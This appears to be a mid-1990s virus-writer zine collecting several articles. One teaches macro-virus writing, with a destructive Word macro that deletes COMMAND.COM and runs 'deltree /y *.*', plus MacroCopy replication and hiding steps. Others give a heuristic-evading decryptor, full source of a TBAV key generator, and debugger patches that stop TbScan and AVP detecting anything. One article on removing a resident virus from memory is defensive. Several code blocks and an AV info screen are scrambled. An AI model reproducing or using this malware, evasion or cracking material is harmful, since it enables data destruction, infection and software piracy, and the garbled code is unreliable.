There are function procedures which always have a fixed argument number (up to 60). Other functions have some fixed arguments and other optional. Ok, and once the basics of VBA are clear for everybody, we can start learning something about the thing we're about to study: VBA viruses and trojans :-) The VBA language is very versatile, and this is basically due to two reasons: the first of them is its big facility of learning and use; as it's a high level language orientated to events (not to objects :) it's very easy to create complex modules without spending many time on it. The second reason is the extra large number of predefined functions it has, which make things much easier for us. We could even say a third reason, but it's really included in the previous one... and it's that we can use functions (or macros) of *automatic_execution*, so we can simulate some thingies which make eeeeven easier to write routines as autocopying, memory residency, etc), used by the 'normal' DOS viruses. Besides this, VBA has, as an exclusive feature, the PORTABILITY property, advantage, or however you wanna call it. VBA worxor under Windows 3.x, Windows95, WindowsNT, Macintosh, etc. this is: in every enviroment or OS in which we can run any version of the applications which support VBA. But don't expect so many facilities... :-) VBA is a language which adapts to the language of the application under it's running. This means that, if we have the spanish version of WinWord, the names of the predefined functions will be in spanish, so the two next macros will NOT be the same (the first one is written in spanish, and the second one, in english):

þ First macro (spanish): Sub Demo_Macro Con Selecci¢n.Fuente .Nombre="Arial" Fin Con End Sub

þ Second macro (english): Sub Demo_Macro With Selection.Font .Name="Arial" End With End Sub

This last macro would NOT work under our spanish version of WinWord... it would force a macro execution error, so it wouldn't do anything. And remember that VBA is an interpreted language (not compiled) so every execution error appears 'on the fly'. But... doesn't this have any solution? ... ... ... ... }:-) ... Sure! ;-) There are some functions, common to all the VBA versions, without depending on the language. For instance... the automatic macro AutoExec (which is executed when loading WinWord if it's stored in a template called NORMAL.DOT) would work under every VBA version. Maybe one of the first exercises we should do would be trying to write a multiplatform and multilanguage virus... but maybe it already exists... }:-) hehe... but let's go on with the tutorial. The next step, once we've analyzed the language syntax, we have to study the functions we need to use in our viruses. As this ain't a text about programming in general but a macro virus tutorial, we'll focus our attention to the automatic macros used by WinWord, implemented in WordBasic (but note: NOT in VBA). There are five special macros which execute automatically and which we'll have to care about: þ AutoExec: it's a macro which activates when loading the text processor, but only when it's stored in the template NORMAL.DOT or in the default application directory þ AutoNew: it activates when creating a new document þ AutoOpen: it activates when opening an existing document þ AutoClose: it activates when closing a document þ AutoExit: it activates when exiting the text processor For proving the potence and the versatility of these macros, we can have a look at the following code (by now we won't care about the language):

' Save this macro as AutoExit Sub Main If Application.Username <> "MaD_MoTHeR" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null"

' Btw... /y works for all the languages :-) End If End If End Sub

The macro above will check two things on exiting from WinWord: if the registration name is equal to MaD_MoTHeR, it will delete COMMAND.COM; and if the system date is equal to february 29th (only for leap years) :-) it will do a deltree /y *.* > null, and i guess you all know what does this DOS command do, right? };-) Ok, now you're supposed to have a big enough knowledge to face the next and last chapter of this tutorial: replication. It's the most important thing for writing viruses, don't you think? :-) The unique thing we must know is how can we adapt an automatic macro (this is the simplest example) in order to install it in the template which is opened by default by WinWord. This is done by following the next steps... first, define a variable which stores the complete macro name:

name$ = WindowName$() + ":AutoNew"

' This macro will be executed ' every time a new document is ' created

And then, all our work is to write this simple instruction:

it into the template NORMAL.DOT with

MacroCopy name$, "Global:AutoNew"

Quite easy, isn't it? :-) Anyway, this is the general way in which macro viruses work, but there are lots of cooler ways to infect... all it takes is a little bit of imagination and additional code. One of these things which make your viruses cooler and difficult their analysis is the macro encryption... and it's easier than the replication!!! :-)

MacroCopy "MyTemplate:MyMacro", "Global:AutoClose", 1

If you execute the MacroCopy function passing 1 (or any other number unless 0) as parameter, the result of the copy will be an only executable macro, so we won't be able to edit it! :-) And this is all you need for becoming a macro virus writer... practice, research, and try to write something really original. Btw, there's a virus sample i wrote included in '29A virii'. It's a supertiny and supersimple macro infector which contains a little payload :-) Don't forget to have a look at it!

(@) MaD MoTHeR TeaM - 1996

Deactivations *************************************************************************> Blade Runner The deactivation of a virus in memory is a standard process, and very easy in deed. Anyway, i'm conscious that many of you aren't that intelliigent, so i'll explain it clearly *step_by_step*; this is, those of you who have a bit more knowledge may just give it a look, or skip the whole article. Mmmh... let's see... first introduce this briefly :) thing is the virus to be resident... :) Let's

A virus, in order to stay resident, has to change interrupt vectors so these point to it. In other words, a virus that hangs off int 21h, will change ES and BX when calling int 21h func 35h, or otherwise it will do this directly on 0000:(int#*4). Knowing the virus keeps the old vector addresses in its code, it is obvious that we'll have to look where it keeps them and replace them on the interrupt vector table. Once we know the theory, let's see it practically. Above all, we'll have to find a tool for our job. I personally use debug (as you can see, i use it for everything) :) but you'll prefer AVPUtil or some other new colorful user friendly debugger. I even sometimes use a little program written by myself which is very useful for these kinda situations. Well, then we start. First step is to know the memory status, by means of int 21h function 35h (get interruption vector). Here it is, done with debug:

C:\29A>debug -a100 1649:0100 mov ax,3521 1649:0103 int 21 1649:0105 -p AX=3521BX=0000CX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000 DS=1560ES=0000SS=1560CS=1560IP=0103 NV UP EI PL NZ NA PO NC 1560:0103 CD21 INT 21 -p AX=3521BX=410DCX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000 DS=1560ES=0011SS=1560CS=1560IP=0105 NV UP EI PL NZ NA PO NC 1560:0105 8BFF MOV DI,DI -q

Then we look the values into ES and BX, which are segment and the offset of the interrupt vector. These are, in this case, 0011:410d. Ok, note it down or remember it and keep going :-) Now we have to pick a virus for our experiment. We'll use any of the Barrotes family, the typical lame viruses mutated with PCTewls ;-) For instance, Barrotes.1310.d... let's have a look at its payload and at what does Mr.Kaspersky tell us about it:

Virus MIKELON por MSoft°±² °±² °±² °±² °±²373k] °±² ÉÍ[þ°±²ÍÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²Topic °±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²

º B°±²otes fa°±²y °±² °±² °±² °±² °±² °±² º Í°±²ÍÍÍÍÍÍÍ°±²Í °±² °±² °±² °±² °±² °±² º Th°±² are da°±²rous m°±²y resi°±² paras°±² virus°±²On exe°±²on the°±² º in°±²t C:\CO°±²ND.COM°±²e Then°±²ey hoo°±²T 21h °±²infect°±² COM- °±² º EX°±²iles ar°±²xecute°±²hey co°±²n the °±²rnal t°±²string°±² °±² º "c°±²ommand.°±²". On °±²ary, 5°±²hey er°±²MBR se°±², hook°±² 1Ch, °±² º di°±²ay the °±²sage "°±²s BARR°±² por O°±²" and °±²ral ve°±²al lin°±² º °±² °±² °±² °±² °±² °±² °±² °±² º "B°±²otes.84°±²hits C°±²iles o°±² °±² °±² °±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º "B°±²otes.13°±²d" doe°±²t corr°±²MBR. O°±²stalla°±² it us°±²386 °±² º in°±²uction.°±² displ°±²the me°±²e: "Vi°±²MIKELO°±²r MSof°±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º B°±²otes.Te°±².1303 °±² °±² °±² °±² °±² °±² º *°±²*******°±²***** °±² °±² °±² °±² °±² °±² º It°±²not dan°±²ous me°±² resid°±²encryp°±²parasi°±²virus.°±²hooks °±² º 21°±²nd writ°±²itself°±²the en°±² COM- °±²EXE-fi°±²are ex°±²ed. On°±² º in°±²llation°±²ts C:C°±²ND.COM°±²e. On °±²ember,°±²h it h°±² INT 1°±² º al°±²and cha°±²s the °±²codes °±²eys ar°±²tered.°±²s viru°±²ntains°±² ÈÍ<þ°±²±±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±² Test mode: Analyzer Warnings CRC

ßßßßßßßßßßßßßßßßßßß C:\29A (Programs) ßßßßßßßßßßßßßßßßßßßß C:\29A : virus Barrotes.1310.d detected.

Once we've seen the virus, we may start our work. For make it easier, we will use that little program i told you i sometimes use (CrackVir), written by myself... it's a program which intercepts int 21h function 4bh once a virus is memory resident; this is, the virus won't be able to infect though it will be completely operational. This is quite easy to do... my program saves the original int 21h vector values, and, after running the virus, it intercepts function 4bh, so the virus, if it uses 4b00h for infecting, won't be able to hit any file. What we're left with now is easy. We run AVPUtil, or even debug, and into the contents of int 21h, which is occupied by the virus. This we're left with 9f9c:017b (segment will vary). Then we'll have to from the beginning (9f9c:0000), and search 0011:410d, which was the ginal int 21h value (hex: 0D 41 11 00). With debug, we'll have to ourselves for it, whilst with AVPUtil we can leave him look for it: look time dump orilook

Memory Dump: F2-save F3-text mode F4-HEX/ASCII F5-edit F7-find ÉÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ º9F9C:0103³[0D*41*11*00]55 01 18 D6 D0 0E D4 00 00 00 80 00 ³ º9F9C:0113³ D0 0E 5C 00 D0 0E 6C 00 D0 0E 94 B4 06 00 4D 5A ³ º9F9C:0123³ D4 01 0C 00 06 00 20 00 75 02 FF FF A8 00 54 0B ³ º9F9C:0133³ 89 19 58 08 A8 00 1E 00 00 00 06 00 00 00 50 31 ³ º9F9C:0143³ 2E 03 00 01 00 41 43 41 44 2E 45 58 45 10 00 00 ³ º9F9C:0153³ 02 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 2E 43 4F 4D ³ º9F9C:0163³ 2E 45 58 45 43 6F 70 79 72 69 67 68 74 20 28 43 ³ º9F9C:0173³ 29 20 31 39 38 38 2C 20 31 39 38 39 20 62 79 20 ³ º9F9C:0183³ 41 42 54 20 47 72 6F 75 70 2E 20 E3 08 00 00 EB ³

The search result is up there: int 21h is kept in 9f9c:0103 (103 the offset, 105, the segment). Now we have enough information so as to create a generic memory remover for this virus, which is rather easy to code.

Blade Runner/29A Los Angeles, 2019

Antiheuristics *************************************************************************> AVV We're used to the newest antivirus promising a total protection against unknown viruses, with what they call heuristics. And though being an important weapon against viruses, it isn't that safe they assure. We won't explain what heuristics are (it is just looking for several instructions common to all viruses, which will show their presence). Nevertheless, if we hide these instructions, the antivirus won't detect anything and will happily say there's no danger, when checking a modified version of Neuroquila, Tremor, Zhengxi, etc., which will be encrypted for these AVs. Technique is easy. We just have to use a simple encryption routine with which the antivirus will note nothing. AVP, F-Prot and ThunderByte recognize several encryption routines. Now, the following routine decrypts a previously encrypted code:


lea mov mov xor stosb loop

di,enc_start ; ds:di -> first encrypted byte cx,enc_size ; cx has code's length al,byte ptr es:[di] al,0cfh ; we'll simply xor each byte ; and store it back loop1

This routine is easy to get caught by an antivirus, and will discover the hidden virus. But let's change slightly the routine:


lea mov mov mov xor movsb loop

di,enc_start si,di cx,enc_size dh,0cfh byte ptr es:[di],dh loop1

This routine does exactly the same, but isn't caught by the heuristic scan of any antivirus, so no crappy AV will decrypt anything, and our virus won't be detected... :) If the programmer is careful of not using any garbage code, all the AVs will fail to detect any virus, no matter how famous it is... even Jerusalem! :) This demonstrates that heuristics are not as safe as they appear to be.

Greets, AVV.

TBAV: keys *************************************************************************> Plof TBAV itself is bullshit, but who wouldn't like to read his/her name on it as if we'd paid for it? :) Moreover, having it registered, we can access the exceptional virus information it offers to us }:) This generator works with TBAV 7.04, and I'm sure it also works with previous (and future) versions, since Frans Veldman hasn't changed the encryption schemes since TBAV 6.52 :) You can find the compiled executable file in \FILES. - - - - - - - cseg segment assume org begin: init proc near - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 para public 'codigo' cs:cseg,ds:cseg,es:cseg,ss:cseg 100h

; Prompt for the name to be registered to mov dx,offset pregunta mov ah,09h int 21h ; Name must be written by means of DOS mov ax,0A00h mov dx,offset registrador int 21h xor ch,ch mov bx,dx mov cl,[bx+1] cmp cl,02h ja principio mov mov jmp principio: ; Pop the name into what will be TBAV.KEY ; In CL we maintain no. of characters mov mov moviendonombre: lodsb stosb loop moviendonombre ; Modify byte 11bh xor mov call push mov add ax,ax si,offset nombre sumarnombre ax bh,06fh bh,ah si,offset registrador+2 di,offset nombre dx,offset nombrecorto al,01h finalconmensaje

; Errorlevel=1 if short name

; Check first name

mov xor mov mov

si,offset nombre bh,[si] si,offset fichero+011bh byte ptr [si],bh

; Modify byte 11ch pop push mov add ror mov mov ax ax bh,0f5h bh,ah bh,01h si,offset fichero+011ch byte ptr [si],bh

; Modify byte 118h pop push mov add mov mov ax ax bh,02bh bh,ah si,offset fichero+0118h byte ptr [si],bh

; Modify byte 119h pop push mov add mov mov ax ; Pop name check ax bh,0bah bh,ah si,offset fichero+0119h byte ptr [si],bh

; Modify byte 11ah pop push mov add xor mov mov ax ax ; In case something's after it bh,0f4h bh,ah bh,03dh si,offset fichero+011ah byte ptr [si],bh

; Zero the registers pop xor mov mov sumachequeo: mov mov chequeo: lodsb xor add loop mov cx,01feh si,offset fichero ax ax,ax bx,ax dx,ax ; Pop AX so there are no problems

ax,0413fh bx,ax chequeo word ptr [si],bx

encriptado: mov mov mov encrp: lodsw xchg xor add stosw loop ; Write the file ; Create and open the file mov mov int jnz dx,offset nombredefichero ah,3ch 21h fichero_bien_iniciado ah,al ax,cx ax,081f3h encrp si,offset codigo di,si cx,0080h

; If couldn't be created mov mov jmp al,02h ; Errorlevel=2 if file couldn't be created ; tbav.key file dx,offset nocreado finalconmensaje

fichero_bien_iniciado: push ax ; Handle

; write 512d bytes mov pop mov mov int ah,40h bx dx,offset fichero cx,200h 21h

; Close file (BX still has the handle) mov int fin: mov mov finalconmensaje: mov int mov int ; Subroutines sumarnombre: ah,09h 21h ah,4ch 21h al,00h ; Right, errorlevel=0 dx,offset finalnormal ah,3eh 21h

; AL must have the errorlevel

lodsb test jz xor ror add call acabosenombre: ret

al,al acabosenombre al,0a5h ah,1 ah,al sumarnombre

; Non executable portion fichero db db db db nombre db db db db db db db db db db db db codigo db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db suma dw 'Created by TBAVReg by Plof (/\/\adrid, 2-feb-96)' 'Move your fucking ass, Franzzz',0dh,0ah 'This key works on TBAV ' 'v7.04 and doesn''t expire until 2099. Look after me! 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;THE REGISTRATION 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;NAME IS PLACED 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;HERE (THERE'S 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;ROOM UNTIL LINE 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;0E0... HERE! :-) 000h, 01ah, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;................ 0a0h, 000h, 041h, 001h, 0afh, 092h, 04ch, 001h, 08ch, 0cch, 001h, 0b6h, 018h, 083h, 083h ;..A...L......... 006h, 001h, 0c9h, 007h, 034h, 020h, 0ffh, 0ffh, 01eh, 0dah, 036h, 074h, 0abh, 0d4h, 0d3h ;....4......6t... 0b7h, 0c0h, 0bbh, 054h, 058h, 072h, 02ah, 065h, 0e1h, 025h, 0c9h, 08bh, 054h, 02bh, 02ch ;...TXr*e.R%..T+, 048h, 03fh, 044h, 0abh, 0a7h, 08dh, 0d5h, 09ah, 0ffh, 000h, 000h, 02fh, 00ah, 001h, 003h ;H?D........./... 020h, 048h, 048h, 0cbh, 0f1h, 03ch, 091h, 043h, 056h, 02eh, 085h, 0a5h, 0a5h, 0a5h, 0a5h ;.HH..<.CVF...... 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 053h, 065h, 063h, 075h ;............Secu 072h, 069h, 074h, 079h, 020h, 076h, 069h, 06fh, 06ch, 074h, 069h, 06fh, 06eh, 03ah, 020h ;rity.violation:. 053h, 069h, 06eh, 067h, 06ch, 065h, 020h, 075h, 073h, 072h, 020h, 06bh, 065h, 079h, 020h ;Single.user.key. 06eh, 06fh, 074h, 020h, 076h, 061h, 06ch, 069h, 064h, 06fh, 06eh, 020h, 074h, 068h, 069h ;not.valid.on.thi 073h, 020h, 06dh, 061h, 063h, 068h, 069h, 06eh, 065h, 007h, 000h, 045h, 076h, 061h, 06ch ;s.machine!..Eval 075h, 061h, 074h, 069h, 06fh, 06eh, 007h, 020h, 06bh, 079h, 007h, 020h, 064h, 061h, 074h ;uation..key..dat 065h, 007h, 020h, 06ch, 069h, 06dh, 069h, 074h, 007h, 065h, 078h, 070h, 069h, 072h, 065h ;e..limit..expire 064h, 021h, 007h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;d!............ ?

;-)',0dh,0ah 000h 0a0 000h 0b0 000h 0c0 000h 0d0 000h 0e0 000h 0f0 001h 100 0adh 110 052h 120 0ffh 130 046h 140 0a5h 150 0a5h 160 0a5h 170 0a5h 180 061h 190 065h 1a0 020h 1b0 021h 1c0 065h 1d0 020h 1e0 000h 1f0

nombredefichero db 'tbav.key',00h registrador nombrecorto db db db db 4eh 50h dup (?) 13,10,10,'Name is too short' 13,10,10,10,'$'

nocreado finalnormal

db 13,10,10,'File couldn''t be created',13,10,10,10,'$' db 13,10,10,'Now copy TBAV.KEY into your TBAV ' db 'directory and enjoy ;)',13,10,10,'$' db db db db db 13,10,'TBAVReg 0.9á Register key generator ' 'for the DOS version of TBAV',13,10,10 'Written by Plof (9-feb-96, /\/\adrid)',13,10,10 'Write the name you''d like to register TBAV to: ' 13,10,'>$'


init cseg

endp ends end begin - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Greetz, Plof

TBAV: signatures *************************************************************************> Tcp Using the signature leaker from Virogen (Chiba City Times #2) i've done a little change for version 7.04 of TBAV. Changes are more than i expected firstly cause TBSCAN.SIG uses a different encryption in each version, i knew that... but i also had to modify a limitation of the program because that TbSig wasn't able to manipulate files over f000h bytes (in TBAV 6.50 it was already bigger than that, so the file extractor hanged). My program is included right in this issue under \FILES. To use it, just copy it into your TBAV directory and run 'xsig > file.ext'. The program will dump in this file all the signatures, but before looking anything in that file, you should know the meaning of the wildcards TBAV uses in its search strings; they appear in between the sigs with the format _38??_:

Description Signature ******************************************************************* Jump over n bytes and continue 388n Jump over nn bytes and continue, but nn < 7fh 388nn (1) Jump till n bytes 384n Jump till nn bytes and continue, but nn < 1fh 38nn (1) The value ranges from n0 to n7 382n The value ranges from n8h to nfh 383n CRC from 38cn to 38c0 and compare it to the following 2 38cn (2)

(1) The highest bit is set. If nn is greater cated, then the bit will not be set.

than the number above indi-

(2) This meaning is not in CCT#2, though it may be due to the fact that these wildcards weren't used then; since 6.50 it is present in all the strings. If the wildcard is above 38c0, TBAV calculates a sort of CRC sum ranging 38c?-38c0 bytes (for instance, 38d7 will mean it gets 17h bytes), and compares it to the next word in the string. Eg:

String : In file:

00 01 02 03 _38C3_ 33 44 00 01 02 03 04 05 06 07

In this example, TBAV would compare the 4 first bytes, which would pass; then it'd find _38c3_, which tells it to CRC sum the three next bytes: 04, 05, and 06. If the CRC is 4433 it will say so :) Btw, if someone is interested in knowing how to calculate this CRC, look for me in #virus on IRC and ask :)

Another thing ûirogen didn't notice is that, as 38h represents the wildcard, if we want to represent the 38h itself, we must use _3880_ ;) Nothing more then; if you want to take a look at the program or read some more about it, look in Chiba City Times #2.

Waiting for IP...

TBAV: antidetection *************************************************************************> Blade Runner Well, well, well... in this article, i'll show you all how to fuck TbScan TBAV 7.00; you'll see how 'difficult' it is ;-) There are some points that make it more vulnerable than previous versions, though it's true that i spent more time on this one. Anyway, it wasn't more than five minutes ;-D Let's see... get you all the GameTools. Those of you without them can use some other debugger which can capture interruptions on the fly. Let's start...

C:\29A>tbscan c:\

When TbScan starts checking, we stop it when reading the master boot and capture int 21h function 48h. As soon as it triggers, trace all the code till the first ret. Then we're interested in the following addresses:

15E8:3593: here starts the routine to fuck [...] 15E8:359B F607FF TEST Byte Ptr [BX],FF 15E8:359E 7415 JZ 35B5 ^^ ^^ 75 JNZ Well, we make this little change and continue... half of it heuristic checking. we'll cancel the first

15E8:35B8 81FB4A5A 15E8:35BC 72DD ^^ 77


BX,5A4A 359B

All right, we've killed its heuristics (second half). Keep on going...

15E8:1065 803EA4FF06 15E8:106A 7206 ^^ 77


Byte Ptr [FFA4],06 1072

Again... we break the check changing Let's continue...

the condition to the opposite one.

15E8:108D F7065084FFFF 15E8:1093 7408 ^^ 75


Word Ptr [8450],FFFF 109D

We're done with this last one. TbScan WILL NOT DETECT any damn virus; no matter if we have 8000 in our HD, it doesn't mind. If you will deep into this, here you have some windows with a bit more code, so you may get in place:


º 15E8:3596 BB3458 MOV BX,5834 º º 15E8:3599 33C0 XOR AX,AX º º 15E8:359B F607FF TEST Byte Ptr [BX],FF º >>15E8:359E 7415 JZ 35B5 -> JNZ 35B5 << º 15E8:35A0 8A4701 MOV AL,[BX+01] º º 15E8:35A3 0006A4FF ADD [FFA4],AL º º 15E8:35A7 8A4702 MOV AL,[BX+02] º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ



ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:107D E80445 CALL 5584 º º 15E8:1080 F606195604 TEST Byte Ptr [5619],04 º º 15E8:1085 7406 JZ 108D º º 15E8:1087 C70650840000 MOV Word Ptr [8450],0000 º º 15E8:108D F7065084FFFF TEST Word Ptr [8450],FFFF º >>15E8:1093 7408 JZ 109D -> JNZ 109D << º 15E8:1095 B005 MOV AL,05 º º 15E8:1097 E8941B CALL 2C2E º º 15E8:109A E9E900 JMP 1186 º º 15E8:109D 803EA4FF40 CMP Byte Ptr [FFA4],40 º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Blade Runner/29A Los Angeles, 2019

Installation check *************************************************************************> The Slug No one does a resident virus with no installation check to see if it's already in memory; the problem is that many times this action can turn back to it. The most common form a virus has in order to check for its residence is by means of a call to a service in some interruption, normally inexistent that the virus creates for the occasion. When it gets to be executed, it calls the service with some kind of value in a register, and checks the answer for another one; if the value it expected gets returned, then it's memory resident; if not, it'll proceed. Here's where we build the typical lame program that will answer the installation checks of several viruses we want, being therefore immune to them... nasty, don't you think? }:) The following technique tries to make much i'll explain it with some detail: more difficult this trick...

The start code for the virus remains the same, except that it generates a random number inside its own code; this number gets onto the interrupt service (BX, in this case). This is, we'd have something like this:

; *********************** virus body ************************************ start: sigins: call pop sub . . . . . push xor mov mov add pop mov mov int cmp jne mov cmp je jmp . . . . . ends end sigins si si,offset(sigins)


es bx,bx es,bx bl,es:[046ch] bx,84 es cs:si+numbyt,bx ah,0aah 21h ah,0bbh goon bx,cs:[si+numbyt] cs:[bx+si],al aprog1 death

; Check if it's resident ; BL <- random value

; Keep the value

; In case it's not resident ; Check if it's being tricked ; If it's really resident ; If it's being reicked



; ***********************************************************************

Now, we're just left with writing the part of the interruption service service which will return the byte's random value; in this case, 0bbh is returned in AH and the byte in AL:

; *************** interruption service (in int 21h) ********************* int_21h: pushf cmp jne popf mov mov iret sigue: . . .

ah,0aah sigue

; Residence service

ah,0bbh al,cs:[bx]

; Already resident code ; Value of a code position

; ***********************************************************************

This way, each time we call the service, as well as asking for the code, it asks for the value at position x, being x a random offset inside its own code. Once this is returned we try to see if we've been correctly answered, otherwise... }:) NOTE: main code keeps a copy in a variable of the random value it generates, and that is what it uses to avoid being tricked by changing the value it passes by. Now, it isn't that easy the damn lame resident program, cause, at least, it must have a copy of the virus in memory; moreover, if we had variables in the middle of the code this wouldnt be exact, so the program wouldn't be safe at all, having also a random activation routine :)

uhmm, I love this job The Slug/29A

AVP 2.2 naked *************************************************************************> Mister Sandman We all know AVP is the best antivirus in the world, no doubt about it. The most complete, the most reliable, above all, the most professional, but... is it also the safest? the answer is no :) We also know there's no antivirus invulnerable to a good codefuck. What we'll do with this report is to show some -until know- secret holes in AVP, and how to exploit them in order to write new retro functions.

KERNEL.AVB ********** AVP uses a detection scheme based on a sort of antiviral databases, which contain the necessary data (search strings, decryption routines, cleaning info...) for detecting and disinfecting viruses. They're predefined, and these are their names:


; ; ; ; ; ;

AVP's heuristics (code analyzer) Decompression routines (ZIP, ARJ, RAR...) AVP's kernel database Macro viruses detection Trojan detection Unpacking routines (PkLite, Diet...)

; Main base, with all the viruses ; Weekly updates

All these databases are defined in AVP.SET, which is the file AVP reads before loading the them. Here is where AVP problems start... there's a good point to attack its kernel, because it contains all the necessary info about how to use the rest of the antiviral databases. Without it, AVP can't detect any virus, because it doesn't know how to interpret the data stored there... it's enough to comment it out from AVP.SET by means of a semicolon in order to knock out AVP; even if KERNEL.AVB is loaded b4 the rest of the databases, in other than first position. It would be enough to have a simple resident program (which might be a virus, of course) which would intercept function 4bh of int 21h and test for AVP.EXE; when being this file executed, it'd only have to open and modify AVP.SET by replacing the first character (KERNEL.AVB's "K") with a semicolon (;). Being executed in this way, AVP would detect *NOTHING*. Another interesting method is to change the DX value when AVP's about to read AVP.SET; instead of the original value (0004), we might enter 0010, so it would point to the second line of AVP.SET, skipping KERNEL.AVB. As a last thing, have a look at Tcp's AVP-Aids and at my AntiCARO... they both fool AVP in order to exploit some bugs which favour the spreading of our viruses :) Of course, due to the basereading system AVP uses, we can fuck the heuristic scanning (CA.AVB), the main virus database (V_YYMMDD.AVB), etc.

MODIFICATIONS ON THE FLY ************************ Another head-breaking problem for AVP. We're still trying to avoid the AVP detection, this time in a less abrupt method, which consists on modi-

fying the executable itself in memory. Intercepting the open and read functions, after some tracing, we reach a key point: a couple of conditional jumps, with which AVP decides whether a file is infected or not. Let's have a look at them:

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º 2B9C:00D3 55 PUSH BP º º 2B9C:00D4 8BEC MOV BP,SP º º 2B9C:00D6 56 PUSH SI º º 2B9C:00D7 8B760A MOV SI,[BP+0A] º º 2B9C:00DA C45E06 LES BX,[BP+06] º º 2B9C:00DD 26837F0A00 CMP Word Ptr ES:[BX+0A],+00 º º 2B9C:00E2 7506 JNE 00EA <* First jump ********¿ º º 2B9C:00E4 33D2 XOR DX,DX ³ º º 2B9C:00E6 33C0 XOR AX,AX ³ º º 2B9C:00E8 EB53 JMP 013D ³ º º 2B9C:00EA C45E06 LES BX,[BP+06] ³ º º 2B9C:00ED 26C45F19 LES BX,ES:[BX+19] ³ º º 2B9C:00F1 8BC6 MOV AX,SI ³ º º 2B9C:00F3 D1E0 SHL AX,1 ³ º º 2B9C:00F5 03D8 ADD BX,AX ³ º º 2B9C:00F7 26833F00 CMP Word Ptr ES:[BX],+00 ³ º º 2B9C:00FB 742A JZ 0127 <* Second jump ********Ù º º 2B9C:00FD 33C0 XOR AX,AX º º 2B9C:00FF 50 PUSH AX º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ok... it's rather obvious that we have to modify the first jump, but... ohhh, little fucking surprise; AVP stops its scanning and displays the following message: General protection fault at ED22:050B ;-) Hoho... watch out... the old russian bearded beerdrinker has implemented a protection routine in its code! and i recognize that i had a lot of fun when i saw that winking smiley... ok, one point for Kaspersky :) Nevertheless, if we 'touch' the second jump (74 -> 75, so the jz turns into a jnz), there's no stupid message and AVP's detection is completely blowed out... it will continue scanning without noticing any infection... Mister Sandman scores and ties ;) Anyway, if you don't wanna spend so many time (five minutes :) tracing thru AVP's code, just use this other way to reach the same result by following a simpler method. Your weapon will be GameTools or any other debugger able to intercept functions on the fly. Start intercepting every open with 3dh/int 21h; then intercept the file read (3fh/int 21h), and start tracing AVP's code as soon as it gets intercepted:


